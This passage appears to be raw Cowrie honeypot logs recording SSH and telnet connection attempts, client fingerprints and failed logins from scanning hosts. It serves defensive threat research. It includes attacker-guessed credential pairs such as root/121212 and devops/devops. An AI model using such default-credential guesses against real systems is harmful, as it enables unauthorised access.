12-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:21.898088Z","src_ip":"103.173.227.57","session":"4ba790b8ef4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kbctyjr","message":"login attempt [root/kbctyjr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:22.601671Z","src_ip":"103.173.227.57","session":"4ba790b8ef4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:23.839654Z","src_ip":"103.173.227.57","session":"4ba790b8ef4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45066,"dst_ip":"10.17.0.5","dst_port":23,"session":"875a66628916","protocol":"telnet","message":"New connection: 152.42.224.71:45066 (10.17.0.5:23) [session: 875a66628916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:27.721519Z"}
{"eventid":"cowrie.session.closed","duration":33.69513249397278,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:28.491852Z","src_ip":"152.42.224.71","session":"865e2312bcf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45074,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5f7b55e1b5f","protocol":"telnet","message":"New connection: 152.42.224.71:45074 (10.17.0.5:23) [session: f5f7b55e1b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:31.897320Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45090,"dst_ip":"10.17.0.5","dst_port":23,"session":"a016e1aafb03","protocol":"telnet","message":"New connection: 152.42.224.71:45090 (10.17.0.5:23) [session: a016e1aafb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:33.385770Z"}
{"eventid":"cowrie.session.closed","duration":120.00836229324341,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:40.464937Z","src_ip":"152.42.224.71","session":"490c4fa425df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43152,"dst_ip":"10.17.0.5","dst_port":23,"session":"457e51120156","protocol":"telnet","message":"New connection: 152.42.224.71:43152 (10.17.0.5:23) [session: 457e51120156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:40.984538Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44084,"dst_ip":"10.17.0.5","dst_port":23,"session":"8872f516ce77","protocol":"telnet","message":"New connection: 152.42.224.71:44084 (10.17.0.5:23) [session: 8872f516ce77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:47.295836Z"}
{"eventid":"cowrie.session.closed","duration":29.694178342819214,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:51.163156Z","src_ip":"152.42.224.71","session":"9d09a44530d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44088,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d15a5e6ef0d","protocol":"telnet","message":"New connection: 152.42.224.71:44088 (10.17.0.5:23) [session: 0d15a5e6ef0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:51.366356Z"}
{"eventid":"cowrie.session.closed","duration":24.924221515655518,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:52.645638Z","src_ip":"152.42.224.71","session":"875a66628916","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:52.766751Z","src_ip":"47.237.167.49","session":"51f9f3bf5abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"57.4","message":"Connection lost after 57.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:54.282900Z","src_ip":"47.237.167.49","session":"51f9f3bf5abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":34572,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd99e3f74216","protocol":"ssh","message":"New connection: 181.188.172.6:34572 (159.203.135.109:22) [session: fd99e3f74216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:54.338948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:54.344442Z","src_ip":"181.188.172.6","session":"fd99e3f74216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:54.515312Z","src_ip":"181.188.172.6","session":"fd99e3f74216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121212","message":"login attempt [root/121212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:55.057096Z","src_ip":"181.188.172.6","session":"fd99e3f74216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:56.177653Z","src_ip":"181.188.172.6","session":"fd99e3f74216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.01907396316528,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:57.473956Z","src_ip":"152.42.224.71","session":"f6aca2ef145b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.26624059677124,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:58.490393Z","src_ip":"152.42.224.71","session":"4fa58ae4e0db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.030972719192505,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:58.637672Z","src_ip":"152.42.224.71","session":"5834aecede1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.660362005233765,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:22:58.755248Z","src_ip":"152.42.224.71","session":"e982d117ef89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58496,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef16da4ea65b","protocol":"ssh","message":"New connection: 47.237.167.49:58496 (159.203.135.109:22) [session: ef16da4ea65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:00.498246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:00.506306Z","src_ip":"47.237.167.49","session":"ef16da4ea65b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:00.736912Z","src_ip":"47.237.167.49","session":"ef16da4ea65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.173049211502075,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:01.539310Z","src_ip":"152.42.224.71","session":"0d15a5e6ef0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":38008,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5ebb49b4abc","protocol":"ssh","message":"New connection: 170.238.160.191:38008 (159.203.135.109:22) [session: e5ebb49b4abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:02.812453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:02.817721Z","src_ip":"170.238.160.191","session":"e5ebb49b4abc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:02.929252Z","src_ip":"170.238.160.191","session":"e5ebb49b4abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"userftp","message":"login attempt [ftpuser/userftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:03.407627Z","src_ip":"170.238.160.191","session":"e5ebb49b4abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52864,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ad5c1f798b6","protocol":"telnet","message":"New connection: 152.42.224.71:52864 (10.17.0.5:23) [session: 9ad5c1f798b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:04.447777Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:04.522405Z","src_ip":"170.238.160.191","session":"e5ebb49b4abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:07.191033Z","src_ip":"47.237.167.49","session":"ef16da4ea65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:08.428616Z","src_ip":"47.237.167.49","session":"ef16da4ea65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.79309058189392,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:09.178772Z","src_ip":"152.42.224.71","session":"a016e1aafb03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51498,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6e48cc1367b","protocol":"telnet","message":"New connection: 152.42.224.71:51498 (10.17.0.5:23) [session: e6e48cc1367b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:11.637796Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51500,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecb275c175fb","protocol":"telnet","message":"New connection: 152.42.224.71:51500 (10.17.0.5:23) [session: ecb275c175fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:11.930838Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":38084,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ca65e9beea","protocol":"ssh","message":"New connection: 198.46.134.148:38084 (10.17.0.5:22) [session: 00ca65e9beea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.452250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.458644Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.486639Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:d9:08:8f:82:00:9e:2c:82:56:5a:35:3b:91:56:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpIb3//AGsYGtEg1195WUql+wjgLn/XYfjNUC3aBQgPTlRfuMMC9jbYmPeLRx7J6hnbwM0AKa/E9tBIEVboO3vPf2kxg1XU9JF2/3edBwsE141gkbcIfMTrcajwc0DkgFPy/17nBJketp8xrQH+HXASWxUD54uqg4aqoMPUINQ5wMzZqZ8bjXBPrmUkwm9pe5EcEgpIRhc8Vg5yttoPGORruPkaf46lai6ENJdYV/mmJZTa/uRCNDpypDoIcwB9Cxt2D0+67Kx+ZcXOJK8vCRn0t9QfDvMAz8q+hXhd9FhOSpssUYLINhi7CTNJkvu5DVaGeSKFMqZACJ/9Wp04zld","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:d9:08:8f:82:00:9e:2c:82:56:5a:35:3b:91:56:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.602926Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:d9:08:8f:82:00:9e:2c:82:56:5a:35:3b:91:56:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpIb3//AGsYGtEg1195WUql+wjgLn/XYfjNUC3aBQgPTlRfuMMC9jbYmPeLRx7J6hnbwM0AKa/E9tBIEVboO3vPf2kxg1XU9JF2/3edBwsE141gkbcIfMTrcajwc0DkgFPy/17nBJketp8xrQH+HXASWxUD54uqg4aqoMPUINQ5wMzZqZ8bjXBPrmUkwm9pe5EcEgpIRhc8Vg5yttoPGORruPkaf46lai6ENJdYV/mmJZTa/uRCNDpypDoIcwB9Cxt2D0+67Kx+ZcXOJK8vCRn0t9QfDvMAz8q+hXhd9FhOSpssUYLINhi7CTNJkvu5DVaGeSKFMqZACJ/9Wp04zld","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.606946Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:1d:8c:b3:3d:02:1c:9f:59:3b:62:d4:4e:04:80:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpep4LiUrnRe/OXl2MqNzmJjfyxMXzL3aX8o28ebmpsabWRw8VoTn0LSdP1tgXJYzTipnwYBYURKr/7EGnALYe+95hZeqeqRvfoMZCIUc5wa2m72/j4ESI5Iekdj+ACW/tucR/VRqhlYee6VdqExdsQxO3NNb0ukbs5ftnbXoLpR2J4slIxhhach0fkhIHa23zcFEKu91RaA+M54VYg+3cs1Borij7yrGM6NhZvTFb2rcAum6SBGQgCP+kZEZYNadrrNYwVFQxydzd1RKbXTF5JtLbwAgm4n9Cqn+kloXvGecRnqXSgy88bZgoYdNbq4tW1NglyrKCTPr4EwBXvic5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:1d:8c:b3:3d:02:1c:9f:59:3b:62:d4:4e:04:80:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.637693Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:1d:8c:b3:3d:02:1c:9f:59:3b:62:d4:4e:04:80:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpep4LiUrnRe/OXl2MqNzmJjfyxMXzL3aX8o28ebmpsabWRw8VoTn0LSdP1tgXJYzTipnwYBYURKr/7EGnALYe+95hZeqeqRvfoMZCIUc5wa2m72/j4ESI5Iekdj+ACW/tucR/VRqhlYee6VdqExdsQxO3NNb0ukbs5ftnbXoLpR2J4slIxhhach0fkhIHa23zcFEKu91RaA+M54VYg+3cs1Borij7yrGM6NhZvTFb2rcAum6SBGQgCP+kZEZYNadrrNYwVFQxydzd1RKbXTF5JtLbwAgm4n9Cqn+kloXvGecRnqXSgy88bZgoYdNbq4tW1NglyrKCTPr4EwBXvic5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.642032Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:e1:8a:7d:8c:af:93:66:a6:40:ba:54:c9:7e:d7:c1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEsvu+82NXLBRe+1nGc/gKH+FjpBCqYwNufEocwl0QCC","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ee:e1:8a:7d:8c:af:93:66:a6:40:ba:54:c9:7e:d7:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.671352Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:e1:8a:7d:8c:af:93:66:a6:40:ba:54:c9:7e:d7:c1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEsvu+82NXLBRe+1nGc/gKH+FjpBCqYwNufEocwl0QCC","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:23:12.675995Z","src_ip":"198.46.134.148","session":"00ca65e9beea","protocol":"ssh"}
